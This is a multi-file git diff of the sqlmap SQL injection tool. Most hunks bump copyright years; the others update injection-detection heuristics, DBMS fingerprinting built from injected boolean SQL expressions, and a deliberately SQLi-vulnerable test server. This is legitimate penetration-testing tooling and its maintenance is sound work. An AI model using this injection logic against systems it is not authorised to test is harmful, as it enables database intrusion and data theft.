See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -3,7 +3,7 @@
|
||||||
"""
|
"""
|
||||||
beep.py - Make a beep sound
|
beep.py - Make a beep sound
|
||||||
|
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -3,7 +3,7 @@
|
||||||
"""
|
"""
|
||||||
cloak.py - Simple file encryption/compression utility
|
cloak.py - Simple file encryption/compression utility
|
||||||
|
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -3,7 +3,7 @@
|
||||||
"""
|
"""
|
||||||
dbgtool.py - Portable executable to ASCII debug script converter
|
dbgtool.py - Portable executable to ASCII debug script converter
|
||||||
|
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Removes trailing spaces from blank lines inside project files
|
# Removes trailing spaces from blank lines inside project files
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Stress test against Python3
|
# Stress test against Python3
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Removes duplicate entries in wordlist like files
|
# Removes duplicate entries in wordlist like files
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
|
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# sudo pip install modernize
|
# sudo pip install modernize
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
|
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Runs py2diatra on all python files (prerequisite: pip install pydiatra)
|
# Runs py2diatra on all python files (prerequisite: pip install pydiatra)
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
|
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
|
||||||
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; | grep -v "redefines '_'"
|
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'"
|
||||||
|
|
|
@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -132,13 +132,13 @@ To get a list of basic options and switches use:
|
||||||
|
|
||||||
::
|
::
|
||||||
|
|
||||||
python sqlmap.py -h
|
sqlmap -h
|
||||||
|
|
||||||
To get a list of all options and switches use:
|
To get a list of all options and switches use:
|
||||||
|
|
||||||
::
|
::
|
||||||
|
|
||||||
python sqlmap.py -hh
|
sqlmap -hh
|
||||||
|
|
||||||
You can find a sample run `here <https://asciinema.org/a/46601>`__. To
|
You can find a sample run `here <https://asciinema.org/a/46601>`__. To
|
||||||
get an overview of sqlmap capabilities, list of supported features and
|
get an overview of sqlmap capabilities, list of supported features and
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -3,7 +3,7 @@
|
||||||
"""
|
"""
|
||||||
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
|
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
|
||||||
|
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -16,8 +16,10 @@ import sys
|
||||||
import threading
|
import threading
|
||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
if sys.version_info >= (3, 0):
|
PY3 = sys.version_info >= (3, 0)
|
||||||
from http.client import FOUND
|
UNICODE_ENCODING = "utf-8"
|
||||||
|
|
||||||
|
if PY3:
|
||||||
from http.client import INTERNAL_SERVER_ERROR
|
from http.client import INTERNAL_SERVER_ERROR
|
||||||
from http.client import NOT_FOUND
|
from http.client import NOT_FOUND
|
||||||
from http.client import OK
|
from http.client import OK
|
||||||
|
@ -29,7 +31,6 @@ if sys.version_info >= (3, 0):
|
||||||
else:
|
else:
|
||||||
from BaseHTTPServer import BaseHTTPRequestHandler
|
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||||
from BaseHTTPServer import HTTPServer
|
from BaseHTTPServer import HTTPServer
|
||||||
from httplib import FOUND
|
|
||||||
from httplib import INTERNAL_SERVER_ERROR
|
from httplib import INTERNAL_SERVER_ERROR
|
||||||
from httplib import NOT_FOUND
|
from httplib import NOT_FOUND
|
||||||
from httplib import OK
|
from httplib import OK
|
||||||
|
@ -96,7 +97,7 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||||
self.send_response(INTERNAL_SERVER_ERROR)
|
self.send_response(INTERNAL_SERVER_ERROR)
|
||||||
self.send_header("Connection", "close")
|
self.send_header("Connection", "close")
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8"))
|
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
|
||||||
return
|
return
|
||||||
|
|
||||||
if hasattr(self, "data"):
|
if hasattr(self, "data"):
|
||||||
|
@ -127,7 +128,7 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||||
|
|
||||||
if not any(_ in self.params for _ in ("id", "query")):
|
if not any(_ in self.params for _ in ("id", "query")):
|
||||||
self.send_response(OK)
|
self.send_response(OK)
|
||||||
self.send_header("Content-type", "text/html")
|
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||||
self.send_header("Connection", "close")
|
self.send_header("Connection", "close")
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
|
self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
|
||||||
|
@ -171,7 +172,7 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
else:
|
else:
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
self.wfile.write(output.encode("utf8"))
|
self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
|
||||||
else:
|
else:
|
||||||
self.send_response(NOT_FOUND)
|
self.send_response(NOT_FOUND)
|
||||||
self.send_header("Connection", "close")
|
self.send_header("Connection", "close")
|
||||||
|
@ -190,8 +191,27 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||||
length = int(self.headers.get("Content-length", 0))
|
length = int(self.headers.get("Content-length", 0))
|
||||||
if length:
|
if length:
|
||||||
data = self.rfile.read(length)
|
data = self.rfile.read(length)
|
||||||
data = unquote_plus(data.decode("utf8"))
|
data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
|
||||||
self.data = data
|
self.data = data
|
||||||
|
elif self.headers.get("Transfer-encoding") == "chunked":
|
||||||
|
data, line = b"", b""
|
||||||
|
count = 0
|
||||||
|
|
||||||
|
while True:
|
||||||
|
line += self.rfile.read(1)
|
||||||
|
if line.endswith(b'\n'):
|
||||||
|
if count % 2 == 1:
|
||||||
|
current = line.rstrip(b"\r\n")
|
||||||
|
if not current:
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
data += current
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
line = b""
|
||||||
|
|
||||||
|
self.data = data.decode(UNICODE_ENCODING, "ignore")
|
||||||
|
|
||||||
self.do_REQUEST()
|
self.do_REQUEST()
|
||||||
|
|
||||||
def log_message(self, format, *args):
|
def log_message(self, format, *args):
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -181,7 +181,10 @@ def action():
|
||||||
raise
|
raise
|
||||||
|
|
||||||
if conf.sqlQuery:
|
if conf.sqlQuery:
|
||||||
conf.dumper.sqlQuery(conf.sqlQuery, conf.dbmsHandler.sqlQuery(conf.sqlQuery))
|
for query in conf.sqlQuery.strip(';').split(';'):
|
||||||
|
query = query.strip()
|
||||||
|
if query:
|
||||||
|
conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
|
||||||
|
|
||||||
if conf.sqlShell:
|
if conf.sqlShell:
|
||||||
conf.dbmsHandler.sqlShell()
|
conf.dbmsHandler.sqlShell()
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -45,6 +45,7 @@ from lib.core.common import unArrayizeValue
|
||||||
from lib.core.common import wasLastResponseDBMSError
|
from lib.core.common import wasLastResponseDBMSError
|
||||||
from lib.core.common import wasLastResponseHTTPError
|
from lib.core.common import wasLastResponseHTTPError
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
|
from lib.core.convert import getBytes
|
||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import getUnicode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
|
@ -53,6 +54,7 @@ from lib.core.datatype import AttribDict
|
||||||
from lib.core.datatype import InjectionDict
|
from lib.core.datatype import InjectionDict
|
||||||
from lib.core.decorators import stackedmethod
|
from lib.core.decorators import stackedmethod
|
||||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||||
|
from lib.core.dicts import HEURISTIC_NULL_EVAL
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import HASHDB_KEYS
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import HEURISTIC_TEST
|
from lib.core.enums import HEURISTIC_TEST
|
||||||
|
@ -96,6 +98,7 @@ from lib.core.settings import UNICODE_ENCODING
|
||||||
from lib.core.settings import UPPER_RATIO_BOUND
|
from lib.core.settings import UPPER_RATIO_BOUND
|
||||||
from lib.core.settings import URI_HTTP_HEADER
|
from lib.core.settings import URI_HTTP_HEADER
|
||||||
from lib.core.threads import getCurrentThreadData
|
from lib.core.threads import getCurrentThreadData
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.request.comparison import comparison
|
from lib.request.comparison import comparison
|
||||||
from lib.request.inject import checkBooleanExpression
|
from lib.request.inject import checkBooleanExpression
|
||||||
|
@ -518,8 +521,6 @@ def checkSqlInjection(place, parameter, value):
|
||||||
except (MemoryError, OverflowError):
|
except (MemoryError, OverflowError):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
kb.prevFalsePage = falsePage
|
|
||||||
|
|
||||||
# Perform the test's True request
|
# Perform the test's True request
|
||||||
trueResult = Request.queryPage(reqPayload, place, raise404=False)
|
trueResult = Request.queryPage(reqPayload, place, raise404=False)
|
||||||
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||||
|
@ -600,7 +601,7 @@ def checkSqlInjection(place, parameter, value):
|
||||||
if candidates:
|
if candidates:
|
||||||
candidates = sorted(candidates, key=len)
|
candidates = sorted(candidates, key=len)
|
||||||
for candidate in candidates:
|
for candidate in candidates:
|
||||||
if re.match(r"\A\w+\Z", candidate):
|
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
|
||||||
break
|
break
|
||||||
|
|
||||||
conf.string = candidate
|
conf.string = candidate
|
||||||
|
@ -788,7 +789,7 @@ def checkSqlInjection(place, parameter, value):
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
|
process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
|
||||||
process.wait()
|
process.wait()
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
|
errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
|
||||||
|
@ -881,12 +882,17 @@ def heuristicCheckDbms(injection):
|
||||||
|
|
||||||
for dbms in getPublicTypeMembers(DBMS, True):
|
for dbms in getPublicTypeMembers(DBMS, True):
|
||||||
randStr1, randStr2 = randomStr(), randomStr()
|
randStr1, randStr2 = randomStr(), randomStr()
|
||||||
|
|
||||||
Backend.forceDbms(dbms)
|
Backend.forceDbms(dbms)
|
||||||
|
|
||||||
if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
|
if dbms in HEURISTIC_NULL_EVAL:
|
||||||
continue
|
result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, "")))
|
||||||
|
elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1):
|
||||||
|
result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER))
|
||||||
|
else:
|
||||||
|
result = False
|
||||||
|
|
||||||
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
|
if result:
|
||||||
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
||||||
retVal = dbms
|
retVal = dbms
|
||||||
break
|
break
|
||||||
|
@ -930,6 +936,9 @@ def checkFalsePositives(injection):
|
||||||
randInt1 = min(randInt1, randInt2, randInt3)
|
randInt1 = min(randInt1, randInt2, randInt3)
|
||||||
randInt3 = max(randInt1, randInt2, randInt3)
|
randInt3 = max(randInt1, randInt2, randInt3)
|
||||||
|
|
||||||
|
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
||||||
|
continue
|
||||||
|
|
||||||
if randInt3 > randInt2 > randInt1:
|
if randInt3 > randInt2 > randInt1:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -58,6 +58,7 @@ from lib.core.enums import NOTE
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.enums import PLACE
|
from lib.core.enums import PLACE
|
||||||
from lib.core.exception import SqlmapBaseException
|
from lib.core.exception import SqlmapBaseException
|
||||||
|
from lib.core.exception import SqlmapConnectionException
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.exception import SqlmapNotVulnerableException
|
from lib.core.exception import SqlmapNotVulnerableException
|
||||||
from lib.core.exception import SqlmapSilentQuitException
|
from lib.core.exception import SqlmapSilentQuitException
|
||||||
|
@ -307,11 +308,20 @@ def start():
|
||||||
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
|
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
|
||||||
dataToStdout(warnMsg)
|
dataToStdout(warnMsg)
|
||||||
|
|
||||||
while not checkInternet():
|
valid = False
|
||||||
dataToStdout('.')
|
for _ in xrange(conf.retries):
|
||||||
time.sleep(5)
|
if checkInternet():
|
||||||
|
valid = True
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
dataToStdout('.')
|
||||||
|
time.sleep(5)
|
||||||
|
|
||||||
dataToStdout("\n")
|
if not valid:
|
||||||
|
errMsg = "please check your Internet connection and rerun"
|
||||||
|
raise SqlmapConnectionException(errMsg)
|
||||||
|
else:
|
||||||
|
dataToStdout("\n")
|
||||||
|
|
||||||
conf.url = targetUrl
|
conf.url = targetUrl
|
||||||
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
|
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
|
||||||
|
@ -456,18 +466,18 @@ def start():
|
||||||
for place in parameters:
|
for place in parameters:
|
||||||
# Test User-Agent and Referer headers only if
|
# Test User-Agent and Referer headers only if
|
||||||
# --level >= 3
|
# --level >= 3
|
||||||
skip = (place == PLACE.USER_AGENT and conf.level < 3)
|
skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3))
|
||||||
skip |= (place == PLACE.REFERER and conf.level < 3)
|
skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))
|
||||||
|
|
||||||
# --param-filter
|
# --param-filter
|
||||||
skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)
|
skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)
|
||||||
|
|
||||||
# Test Host header only if
|
# Test Host header only if
|
||||||
# --level >= 5
|
# --level >= 5
|
||||||
skip |= (place == PLACE.HOST and conf.level < 5)
|
skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5))
|
||||||
|
|
||||||
# Test Cookie header only if --level >= 2
|
# Test Cookie header only if --level >= 2
|
||||||
skip |= (place == PLACE.COOKIE and conf.level < 2)
|
skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))
|
||||||
|
|
||||||
skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
|
skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
|
||||||
skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
|
skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -11,47 +11,74 @@ from lib.core.data import kb
|
||||||
from lib.core.dicts import DBMS_DICT
|
from lib.core.dicts import DBMS_DICT
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
|
from lib.core.settings import ACCESS_ALIASES
|
||||||
|
from lib.core.settings import ALTIBASE_ALIASES
|
||||||
|
from lib.core.settings import CRATEDB_ALIASES
|
||||||
|
from lib.core.settings import CUBRID_ALIASES
|
||||||
|
from lib.core.settings import DB2_ALIASES
|
||||||
|
from lib.core.settings import DERBY_ALIASES
|
||||||
|
from lib.core.settings import FIREBIRD_ALIASES
|
||||||
|
from lib.core.settings import H2_ALIASES
|
||||||
|
from lib.core.settings import HSQLDB_ALIASES
|
||||||
|
from lib.core.settings import INFORMIX_ALIASES
|
||||||
|
from lib.core.settings import MAXDB_ALIASES
|
||||||
|
from lib.core.settings import MCKOI_ALIASES
|
||||||
|
from lib.core.settings import MIMERSQL_ALIASES
|
||||||
|
from lib.core.settings import MONETDB_ALIASES
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
from lib.core.settings import ORACLE_ALIASES
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
from lib.core.settings import PGSQL_ALIASES
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import PRESTO_ALIASES
|
||||||
from lib.core.settings import SQLITE_ALIASES
|
from lib.core.settings import SQLITE_ALIASES
|
||||||
from lib.core.settings import ACCESS_ALIASES
|
|
||||||
from lib.core.settings import FIREBIRD_ALIASES
|
|
||||||
from lib.core.settings import MAXDB_ALIASES
|
|
||||||
from lib.core.settings import SYBASE_ALIASES
|
from lib.core.settings import SYBASE_ALIASES
|
||||||
from lib.core.settings import DB2_ALIASES
|
from lib.core.settings import VERTICA_ALIASES
|
||||||
from lib.core.settings import HSQLDB_ALIASES
|
|
||||||
from lib.core.settings import H2_ALIASES
|
|
||||||
from lib.core.settings import INFORMIX_ALIASES
|
|
||||||
from lib.utils.sqlalchemy import SQLAlchemy
|
from lib.utils.sqlalchemy import SQLAlchemy
|
||||||
|
|
||||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
|
||||||
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
|
|
||||||
from plugins.dbms.mysql import MySQLMap
|
|
||||||
from plugins.dbms.mysql.connector import Connector as MySQLConn
|
|
||||||
from plugins.dbms.oracle import OracleMap
|
|
||||||
from plugins.dbms.oracle.connector import Connector as OracleConn
|
|
||||||
from plugins.dbms.postgresql import PostgreSQLMap
